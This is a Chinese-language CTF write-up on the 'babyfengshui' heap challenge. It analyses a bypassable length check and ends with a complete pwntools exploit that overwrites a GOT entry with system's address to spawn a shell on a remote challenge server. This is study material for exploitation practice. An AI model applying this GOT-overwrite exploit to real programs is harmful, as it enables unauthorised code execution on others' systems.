1. 漏洞分析

程序开启了DEP,主要包含四个功能:

  1. 添加用户
  2. 删除用户
  3. 显示用户
  4. 更新用户

User结构体为

struct User
{
    char *description;  //大小由自己定义
    char name[124];
};

添加用户的代码为

User *__cdecl add_user(size_t size)
{
  int v1; // ST2C_4@1
  void *description; // ST24_4@1
  User *user; // ST28_4@1
  User *result; // eax@1
  int v5; // ecx@1

  v1 = *MK_FP(__GS__, 20);
  description = malloc(size);
  memset(description, 0, size);
  user = malloc(128u);
  memset(user, 0, 128u);
  user->description = description;
  *(&users + user_count) = user;
  printf("name: ");
  input_name(*(&users + user_count) + 4, 124);
  update_user(++user_count - 1);
  result = user;
  v5 = *MK_FP(__GS__, 20) ^ v1;
  return result;
}

漏洞点是在更新用户时

int __cdecl update_user(unsigned __int8 index)
{
  char v2; // [sp+17h] [bp-11h]@3
  int len; // [sp+18h] [bp-10h]@3
  int v4; // [sp+1Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  if ( index < user_count && *(&users + index) )
  {
    len = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &len, &v2);
    // 防止堆溢出
    if ( (len + **(&users + index)) >= *(&users + index) - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    input_name(**(&users + index), len + 1);
  }
  return *MK_FP(__GS__, 20) ^ v4;
}

当更新description时可以改变长度,但校验了长度&description + len < &user - 4来防止堆溢出,可是仔细思考会发现这里还是能够产生堆溢出。

2. 漏洞利用

2.1 添加2个用户

这时的堆布局大概如下

图片.png-2.1kB

2.2 删除第1个用户并添加用户

这一步添加用户时的description大小为第一个用户的description和User结构体的大小总和,完成后的堆布局大概如下

图片.png-1.8kB

2.3 更新第3个用户

这时修改第3个用户的description大小就能够产生堆溢出修改第2个用户的数据,并且满足&description + len < &user - 4

2.4 get shell

把第2个用户中的description地址改成got表的地址就可以泄露libc地址绕过ASLR,再修改got表get shell

image_1b7la5c2nudq1h5p1q9i1t5l3n19.png-160.5kB

3. EXP

from pwn import *

LOCAL = 1
DEBUG = 0

if DEBUG:
	context.log_level = 'debug'

if LOCAL:
	io = process('./babyfengshui')
	libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
	io = remote('78.46.224.83', 1456)
	libc = ELF('./libc-2.19.so')

def add_user(size, name, len, text):
	global io
	io.recvuntil('Action: ')
	io.sendline('0')
	io.recvuntil('size of description: ')
	io.sendline(size)
	io.recvuntil('name: ')
	io.sendline(name)
	io.recvuntil('text length: ')
	io.sendline(len)
	io.recvuntil('text: ')
	io.sendline(text)

def delete_user(index):
	global io
	io.recvuntil('Action: ')
	io.sendline('1')
	io.recvuntil('index: ')
	io.sendline(index)

def display_user(index):
	global io
	io.recvuntil('Action: ')
	io.sendline('2')
	io.recvuntil('index: ')
	io.sendline(index)

def update_user(index, len, text):
	global io
	io.recvuntil('Action: ')
	io.sendline('3')
	io.recvuntil('index: ')
	io.sendline(index)
	io.recvuntil('text length: ')
	io.sendline(len)
	io.recvuntil('text: ')
	io.sendline(text)

elf = ELF('./babyfengshui')

add_user('128', 'bird', '2', '1')
add_user('128', 'bird', '2', '1')
payload = '/bin/sh\x00'
add_user('128', 'bird', str(len(payload)), payload)
delete_user('0')

text_len = 0xc1b0 - 0xc008
payload = 'A' * (0xc1a0 - 0xc008) + p32(elf.got['free'])
payload = payload.ljust(text_len, 'A')
add_user('256', 'bird', str(text_len), payload)

display_user('1')
io.recvuntil('description: ')
free_addr = u32(io.recvn(4))
system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
log.info('system_addr=%#x' % system_addr)

text_len = 8
payload = p32(system_addr)
payload = payload.ljust(text_len, 'A')
update_user('1', str(text_len), payload)

delete_user('2')

io.interactive()